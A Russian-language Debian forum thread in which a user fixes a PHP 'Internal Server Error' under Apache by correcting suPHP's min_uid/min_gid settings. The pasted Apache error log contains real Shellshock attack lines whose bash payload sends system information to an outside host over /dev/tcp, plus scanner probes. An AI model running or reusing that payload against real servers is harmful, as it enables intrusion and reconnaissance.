debian.org / О Debian Где взять Debian Поддержка Уголок разработчика Новости Wiki

Автор Тема: Apache + php  (Прочитано 1622 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Apache + php
« : 20 Июнь 2015, 09:58:20 »
Решил подключить к Apache - php. Debian7
Делал вот по этим статьям :
http://blog.evgeniy.me/1807
http://iantonov.me/page/nastraivaem-lamp-linux-apache-mysql-php-v-debian-7

html сервер работает. А при введении localhost/phpinfo.php выдаёт:
Spoiler: ShowHide

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@localhost and inform them of the time the error occurred, and anything you might have done that may have caused the error.
More information about this error may be available in the server error log.

Читал про данную ошибку, пытался выполнить рекомендации, но без успешно.
На другом компе попробовал всё сделать по этим же статьям и всё получилось. phpinfo выдаёт информацию о сервере, ошибок нет.

А с первым компом так и не могу справиться. Где я накосячил?
при перегрузке apache:
Spoiler: ShowHide

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 109.195.67.158 for ServerName
. ok


От куда взялось - apache2apache2 ?
 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #1 : 20 Июнь 2015, 15:06:34 »
показывай виртуалхост апача и /etc/hosts

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Re: Apache + php
« Ответ #2 : 21 Июнь 2015, 03:03:43 »
/etc/hosts
Spoiler: ShowHide

127.0.0.1 localhost
109.195.67.158 Librarydeb
109.195.76.158 manager.my-pc


/etc/apache2/sites-available/default
Spoiler: ShowHide

<VirtualHost *:80>
   ServerAdmin webmaster@localhost

   DocumentRoot /var/www
   <Directory />
      Options FollowSymLinks
      AllowOverride None
   </Directory>
   <Directory /var/www/>
      Options Indexes FollowSymLinks MultiViews
      AllowOverride None
      Order allow,deny
      allow from all
   </Directory>

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
      AllowOverride None
      Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
      Order allow,deny
      Allow from all
   </Directory>

   ErrorLog ${APACHE_LOG_DIR}/error.log

   # Possible values include: debug, info, notice, warn, error, crit,
   # alert, emerg.
   LogLevel warn

   CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>



 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #3 : 22 Июнь 2015, 08:36:49 »
Андрей_1, зачем ты указываешь свой IP в /etc/hosts ? он указывается в случаях: домен не существует; нужно открыть домен на IP отличном от А записей DNS, и т.д.
правильней указывать:
127.0.1.1 librarydeb manager.my-pc

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Re: Apache + php
« Ответ #4 : 22 Июнь 2015, 11:18:34 »
Пробовал всё, вот и осталась запись.
Сейчас исправлю!

Cообщение объединено 22 Июнь 2015, 11:25:28
Исправил.
не изменилось!
root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok
На в браузере та же ошибка!
« Последнее редактирование: 22 Июнь 2015, 11:25:28 от Андрей_1 »
 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #5 : 22 Июнь 2015, 11:40:00 »
grep -i error /var/log/apache2/error.log
chmod +r -R /var/www/
dpkg -l | grep apache

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Re: Apache + php
« Ответ #6 : 22 Июнь 2015, 12:10:52 »
chmod +r -R /var/www/  выполнил
log
Spoiler: ShowHide

root@Librarydeb:/home/manager# grep -i error /var/log/apache2/error.log
[Sun Jun 21 09:10:21 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 09:28:08 2015] [error] [client 59.124.113.45] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 09:28:12 2015] [error] [client 59.124.113.45] File does not exist: /var/www/pma
[Sun Jun 21 09:28:15 2015] [error] [client 59.124.113.45] File does not exist: /var/www/myadmin
[Sun Jun 21 10:32:20 2015] [error] [client 121.14.5.125] File does not exist: /var/www/muieblackcat
[Sun Jun 21 14:31:09 2015] [error] [client 163.24.108.251] File does not exist: /var/www/phpMyAdmin
[Sun Jun 21 14:31:13 2015] [error] [client 163.24.108.251] File does not exist: /var/www/pma
[Sun Jun 21 14:31:17 2015] [error] [client 163.24.108.251] File does not exist: /var/www/myadmin
[Sun Jun 21 18:19:12 2015] [error] [client 178.162.5.3] Invalid URI in request `\x85\xfb\xb3\xf0\x87Dk\xa1\xfda\xeb\r\xba8L\xb2\x04\xf5I\x03
[Sun Jun 21 18:34:26 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/hello.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/hello.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/hello.cgi > /dev/udp/74.208.79.34/21"
[Sun Jun 21 19:46:30 2015] [error] [client 185.49.15.23] File does not exist: /var/www/testproxy.php
[Sun Jun 21 22:20:38 2015] [error] [client 95.153.168.25] Invalid URI in request \xd8\xfd'XMP\x84\x9aKhv\x85\xfbh!\xba\xbb~N\x1b\xcd\xb5\x1a\xf5\x12\x1c\t\x81\xe9n\xc1\x82\x88pR\xbc\x10!\x10jq\xb9\x1e\xd8\xac\xd9\xb2\x1c\xf5\xc2\xf9\x85\xb6
[Sun Jun 21 22:51:39 2015] [error] [client 104.193.9.236] File does not exist: /var/www/phpmyadmin
[Mon Jun 22 00:18:09 2015] [error] [client 217.118.93.89] Invalid method in request \x97-\xa6]\x98)\bP\x81>\x03N\xfb@\xf6\xc0`\xe9\x17\xb0\xf7\x9b\xf9D\xaf\xef\xcb\x83t\xee\x07C\x97
[Mon Jun 22 01:31:01 2015] [error] [client 82.222.68.215] Invalid method in request \xc4v*\x02N\x8d\xbe\x1d_\x14`\x0eI\x89#\x85\x0f3\x18Y-\x14
[Mon Jun 22 01:41:41 2015] [error] [client 178.168.244.67] Invalid method in request \xa0h\xf9\x7f(d\xcb\xc5\xd3
[Mon Jun 22 03:38:37 2015] [error] [client 192.168.241.77] File does not exist: /var/www/favicon.ico
[Mon Jun 22 08:11:17 2015] [error] [client 185.25.151.159] File does not exist: /var/www/testproxy.php
[Mon Jun 22 08:25:26 2015] [error] [client 192.187.110.98] File does not exist: /var/www/testproxy.php
[Mon Jun 22 09:13:04 2015] [error] [client 179.135.120.132] request failed: error reading the headers
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:28:18 2015] [error] [client 195.218.134.34] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:34 2015] [error] [client 195.218.134.130] File does not exist: /var/www/favicon.ico
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.min.js
[Mon Jun 22 09:43:38 2015] [error] [client 195.218.134.130] File does not exist: /usr/share/javascript/jquery.magnifier.js
[Mon Jun 22 11:00:06 2015] [error] [client 213.165.70.245] script not found or unable to stat: /usr/lib/cgi-bin/index.cgi, referer: () { :;}; /bin/bash -c "echo 109.195.67.158/cgi-bin/index.cgi  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.195.67.158/cgi-bin/index.cgi > /dev/udp/74.208.79.34/21"
[Mon Jun 22 12:47:15 2015] [error] [client 178.19.104.138] File does not exist: /var/www/robots.txt
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] Premature end of script headers: phpinfo.php
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:23:15 2015] [error] [client 109.195.67.158] File does not exist: /var/www/favicon.ico
[Mon Jun 22 15:34:44 2015] [error] [client 195.16.111.50] Invalid URI in request \xf6\x14\xe1\x9e\vJ\b\xf2&(\xf6\x1a\xa0
root@Librarydeb:/home/manager#


dpkg -l | grep apache
Spoiler: ShowHide

root@Librarydeb:/home/manager# dpkg -l | grep apache
ii  apache2                              2.2.22-13+deb7u4                        i386         Apache HTTP Server metapackage
ii  apache2-doc                          2.2.22-13+deb7u4                        all          Apache HTTP Server documentation
ii  apache2-mpm-prefork                  2.2.22-13+deb7u4                        i386         Apache HTTP Server - traditional non-threaded model
ii  apache2-utils                        2.2.22-13+deb7u4                        i386         utility programs for webservers
ii  apache2.2-bin                        2.2.22-13+deb7u4                        i386         Apache HTTP Server common binary files
ii  apache2.2-common                     2.2.22-13+deb7u4                        i386         Apache HTTP Server common files
ii  libapache-pom-java                   10-2                                    all          Maven metadata for all Apache Software projects
ii  libapache2-mod-php5                  5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (Apache 2 module)
rc  libapache2-mod-php5filter            5.4.41-0+deb7u1                         i386         server-side, HTML-embedded scripting language (apache 2 filter module)
ii  libapache2-mod-suphp                 0.7.1-3                                 i386         Apache2 module to run PHP scripts with the owner permissions
root@Librarydeb:/home/manager#



 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #7 : 22 Июнь 2015, 12:29:19 »
SoftException in Application.cpp:356: GID of script "/var/www/phpinfo.php" is smaller than min_gid
libapache2-mod-suphp
гугл говорит: раз,два
вывод - настроить suphp или отказаться от него.

Cообщение объединено 22 Июнь 2015, 12:33:38
[ot]судя по логам, тебя еще и долбят периодически. настрой хотя бы fail2ban для апача[/ot]
« Последнее редактирование: 22 Июнь 2015, 12:33:38 от endru »
 

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Re: Apache + php
« Ответ #8 : 22 Июнь 2015, 13:05:09 »
Вот посмотрел раз и два. Честно говоря мой английский сильно хромает. Вкрадце не могли бы описать суть! Это связано с железом?

 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #9 : 22 Июнь 2015, 13:29:55 »
вкратце:
chown -R www-data:www-data /var/www/если не помогло, то нужно проверить настройки /etc/suphp/suphp.conf (возможно в дебиан отличается директория, не устанавливал не знаю)
min_uid и min_gid - должны совпадать с uid и gid www-data, соответственно (можно посмотреть командой id www-data)

Оффлайн Андрей_1

  • Местный житель
  • ***
  • Topic Author
  • Сообщений: 194
Re: Apache + php
« Ответ #10 : 22 Июнь 2015, 14:43:04 »
Спасибо огромное!
min_uid и min_gid  не совпадали с www-data.
Поменял. Теперь phpinfo выдаёт инфу о сервере
Но при рестарте apache  всё равно какая-то странная строка:
Spoiler: ShowHide

root@Librarydeb:/home/manager# /etc/init.d/apache2 restart
[....] Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
 ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
. ok


 

Оффлайн endru

  • Главный модератор
  • Ветеран
  • *****
  • Сообщений: 1769
  • Новосибирск
  • Jabber: endru@jabber.ru
Re: Apache + php
« Ответ #11 : 23 Июнь 2015, 06:46:21 »
Андрей_1, это предупреждение, не критично.
пропиши в /etc/hosts и /etc/hostname реальное доменное имя (если такое имеется) и сообщение пропадет.
На сообщение можно не обращать внимания, если сервер используется в личных целях.

Русскоязычное сообщество Debian GNU/Linux

Re: Apache + php
« Ответ #11 : 23 Июнь 2015, 06:46:21 »


Теги: apache 
 

Apache + ASP.NET

Автор net-walk

Ответов: 2
Просмотров: 1502
Последний ответ 22 Май 2011, 21:13:35
от net-walk
маски в именах для apache

Автор zCirill

Ответов: 0
Просмотров: 1082
Последний ответ 02 Декабрь 2013, 10:49:24
от zCirill
apache + php

Автор Екатерина

Ответов: 24
Просмотров: 2283
Последний ответ 31 Июль 2017, 23:25:50
от vic5710
Настройка связки Apache+nginx

Автор wolfnight

Ответов: 0
Просмотров: 1267
Последний ответ 05 Июль 2012, 20:16:48
от wolfnight
redmine apache You don't have permission to access /redmine on this server.

Автор bboymig

Ответов: 3
Просмотров: 2683
Последний ответ 27 Сентябрь 2016, 05:24:26
от endru